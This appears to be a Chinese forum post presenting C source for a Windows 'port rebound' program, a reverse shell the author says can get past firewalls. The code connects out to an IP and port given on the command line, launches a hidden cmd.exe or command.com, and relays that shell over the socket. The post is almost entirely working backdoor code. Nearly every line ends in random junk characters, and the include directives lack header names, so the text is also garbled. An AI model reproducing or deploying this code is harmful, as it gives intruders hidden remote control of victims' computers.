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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +QU>D:l  
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/* ============================== Nv7-6C6<  
Rebound port in Windows NT 3T)rJEN A  
By wind,2006/7 k0e}`#t  
===============================*/ e4tIO   
#include ,2nu*+6Y/  
#include yov~'S9  
aDK b78 1d  
#pragma comment(lib,"wsock32.lib") P9bM+@5e  
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void OutputShell(); v.Ba  
SOCKET sClient; tp] 5[U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6P1s*u  
tk%f_"}  
void main(int argc,char **argv) b&U1^{(  
{ A)&FcMO*z  
WSADATA stWsaData; J,yKO(}<C  
int nRet; I9S;t _Z<  
SOCKADDR_IN stSaiClient,stSaiServer; fY!?rZ)$  
f+^6.%  
if(argc != 3) ETdXk&AN  
{ \)6glAtN  
printf("Useage:\n\rRebound DestIP DestPort\n"); e^Zm09J  
return; S/'0czDMW  
} r%PWv0z_c  
:(n<c  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6{y7e L3!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N)X Tmh2v|  
/MF 7ZvN.  
stSaiClient.sin_family = AF_INET; b/'bhE=  
stSaiClient.sin_port = htons(0); ^c\O , *:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S}@7Z`  
f$o^Xu  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /t0L%jJZ  
{ 7ftn gBv?  
printf("Bind Socket Failed!\n"); a: "1LnvR  
return; uY& 1[(Pb  
} 0|P=S|%~  
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stSaiServer.sin_family = AF_INET; +F; 2FD$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  =}`d  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +:FXtO>n"  
= l`)b  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ipv5JD[  
{ v"G1vSx)BT  
printf("Connect Error!"); 4\;zz8 5E  
return; g&$=Y7G  
} *dBeb  
OutputShell(); ]cpb;UfM  
} *7!MG  
P(D>4/f3"  
void OutputShell() ?xj8a3F  
{ ")Fd'&58  
char szBuff[1024]; Lw>B:3e  
SECURITY_ATTRIBUTES stSecurityAttributes; -n _Y.~  
OSVERSIONINFO stOsversionInfo; jx}&%p X  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q0xO;20  
STARTUPINFO stStartupInfo; n7!T{+ge  
char *szShell; |qNe_)  
PROCESS_INFORMATION stProcessInformation; V!Wy[u  
unsigned long lBytesRead; ';I}6N  
hi8q?4jE  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W:r[o%B  
)4g_S?l=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c^r8<KlI9  
stSecurityAttributes.lpSecurityDescriptor = 0; ,?GwA@~$k:  
stSecurityAttributes.bInheritHandle = TRUE; ;(NTzBq!1  
uMcI'=  
k1B ](@xt  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n`5Nf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #HcQ*BiF3  
@M'k/jl  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); # &v4c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xQFRM aQE  
stStartupInfo.wShowWindow = SW_HIDE; q%3VcR$J  
stStartupInfo.hStdInput = hReadPipe; +Br<;sW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tV++QC7@L  
K$S0h-?9]O  
GetVersionEx(&stOsversionInfo); c~T {;  
v^C\ GDH  
switch(stOsversionInfo.dwPlatformId) ~?/7: S  
{ wkt4vE87  
case 1: Zo=,!@q(  
szShell = "command.com"; ?'V78N sA  
break; 4phCn5  
default: D^r g-E[L  
szShell = "cmd.exe"; r]e{~v/  
break; 1]} \h]*  
} |r@;ulO  
]TrJ*~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xU\!UVQ/  
]@U?hD  
send(sClient,szMsg,77,0); ?wtKi#k'v#  
while(1) (Q{JI~P  
{ #A>*pF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?c.\\2>|F  
if(lBytesRead) -l=C7e  
{ cC8$oCR?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Zl5DlRuw  
send(sClient,szBuff,lBytesRead,0); i3 js'?7E  
} KE\>T:  
else &^ERaPynd  
{ ca=MUm=B  
lBytesRead=recv(sClient,szBuff,1024,0); 8i6iynR  
if(lBytesRead<=0) break; ` k] TOc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o9sQ!gptw  
} RlfI]uCDM  
} 9No6\{[M  
<@7j37,R7V  
return; 8 8u[s@  
}
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